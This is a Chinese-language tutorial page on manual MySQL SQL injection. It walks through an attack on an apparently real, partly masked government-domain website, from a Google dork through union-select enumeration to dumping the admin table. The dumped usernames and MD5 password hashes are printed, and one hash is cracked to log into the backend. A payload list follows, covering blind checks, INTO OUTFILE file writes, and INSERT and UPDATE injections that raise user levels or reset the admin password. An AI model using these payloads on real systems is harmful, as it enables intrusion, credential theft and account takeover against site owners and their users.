萬盛學電腦網

 萬盛學電腦網 >> 數據庫 >> mysql教程 >> MYSQL中常用sql注入整理

MYSQL中常用sql注入整理

下面一聚教程小編給你整一下常用的MYSQL中常用sql注入方法,希望這些方法能你讓在編程方面做得更安全哦。

最新在研究SQL手動注入,拿了個網站開刷。首先是找到帶有SQL注入點,就去谷歌隨便找了個inurl:php?id=

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228 改鏈接就存在SQL注入點。

第一步,進行注入測試。 最簡單的方法就是 在鏈接後邊加上 and  1=1 和 and 1=2 如果在and 1=2 顯示頁面不正常,而在and 1=2下顯示正常,則證明 該鏈接存在注入點。其原理是:一般查詢的語句為

select * from table where id=1

//按照這樣測試就成為了

select * from table where id=1 and 1=2


第二步,在找到注入點後, 猜解當前網頁的字段數

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+order by 6</pre>
<pre escaped="true">http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+order by 7</pre>
<pre escaped="true">
Order by 6顯示正常 ;order 7 顯示不正常。說明字段數為6
第三步,爆出當前鏈接的顯示位
       
//對應的數字就是顯示的位置,顯示位為 2和4</pre>
<pre escaped="true">http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+and+1=2+union+select+1,2,3,4,5,6–-</pre>
<pre escaped="true">
第四步,爆出數據庫的基本信息。
http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+and+1=2+union+select+1,2,3,concat(user(),0x20,database(),0x20,version()),5,6–-
用戶:people@localhost 數據庫名:people 版本:5.0.20a-log
爆出所有的數據庫:

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+table_schema),5,6+from+information_schema.columns--
爆出數據庫名:information_schema,people,test

information_schema數據庫是在MYSQL的版本5.0之後產生的,一個虛擬數據庫,物理上並不存在。nformation_schema數據庫類似與“數據字典”,提供了訪問數據庫元數據的方式,即數據的數據。比如數據庫名或表名,列類型,訪問權限(更加細化的訪問方式)。information_schema是一個由數據庫的元數據組成的數據庫。裡面存儲的是MYSQL的數據庫基本信息。並隨時改變。用於查看信息以及系統決策時作為重要的信息提供者。
MYSQL的版本5.0以上版本,我們借助information_schema數據庫,來獲取其他數據庫的信息。用到了group_concat()函數,distinct參數起到了去掉重復顯示的作用。
第五部,根據數據庫表進行爆出所有數據庫的表名:
http://rsc.XXXx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+table_name),5,6+from+information_schema.tables+where+table_schema=database()--

admin1,answer,check,class,news,system,zhaoping
該頁面為news.php 其數據庫表肯定就是news表,
第六步,爆出admin1表裡字段,再爆出的用戶信息,登錄後台
把admin1進行hex(16進制)的結果為:0x61646D696E31
 爆出所有的字段:
http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+column_name),5,6+from+information_schema.columns+where+table_name=0x61646D696E31--

字段為:id,admin,password,rank

再爆出 admin和password裡的值:

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+id,0x2b,admin,0x2b,password,0x2b,rank),5,6+from+admin1--

1+admin+e10adc3949ba59abbe56e057f20f883e+0,
2+87046609+e10adc3949ba59abbe56e057f20f883e+1,
3+87046607+14a026642666897df2fcdcfe821af855+2,
4+87046608+e10adc3949ba59abbe56e057f20f883e+3,
5+87046605+9511364ffd98d4ac7fa9a4804b0e5669+4,
6+87046610+e10adc3949ba59abbe56e057f20f883e+5,
7+87046606+c11948f135f946ff173ca9b5d88465ca+6

把admin的密碼MD5解密下為123456,
就OK 了。


本表查詢:
[url=]http://localhost/injection/user.php?username=angel'[/url] and LENGTH(password)='6
[url=]http://localhost/injection/user.php?username=angel'[/url] and LEFT(password,1)='m

Union聯合語句:
[url=]http://localhost/injection/show.php?id=1'[/url] union select 1,username,password from user/*
[url=]http://localhost/injection/show.php?id='[/url] union select 1,username,password from user/*

導出文件:
[url=]http://localhost/injection/user.php?username=angel'[/url] into outfile 'c:/file.txt
[url=]http://localhost/injection/user.php?username='[/url] or 1=1 into outfile 'c:/file.txt
[url=]http://localhost/injection/show.php?id='[/url] union select 1,username,password from user into outfile 'c:/user.txt

Insert語句:
Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
構造homepage值為:[url=]http://4ngel.net'[/url], '3’)#
SQL語句變為:Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

Update語句:
先理解這句SQL
Update user SET password='MD5($password)', homepage='$homepage' Where id='$id'
如果此SQL被修改成以下形式,就實現了注入

1:修改homepage值為
[url=]http://4ngel.net'[/url], userlevel='3
之後SQL語句變為
Update user SET password='mypass', homepage='http://4ngel.net', userlevel='3' Where id='$id'
userlevel為用戶級別

2:修改password值為
mypass)' Where username='admin'#
之後SQL語句變為
Update user SET password='MD5(mypass)' Where username='admin'#)', homepage='$homepage' Where id='$id'

3:修改id值為
' or username='admin'
之後SQL語句變為
Update user SET password='MD5($password)', homepage='$homepage' Where id='' or username='admin'


常用的MySQL內置函數
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()

總結,對於注入最簡單也是最容易出錯的,對於新手很多數據不加以過濾,對於高級可能就是服務器或邏輯問題了。

copyright © 萬盛學電腦網 all rights reserved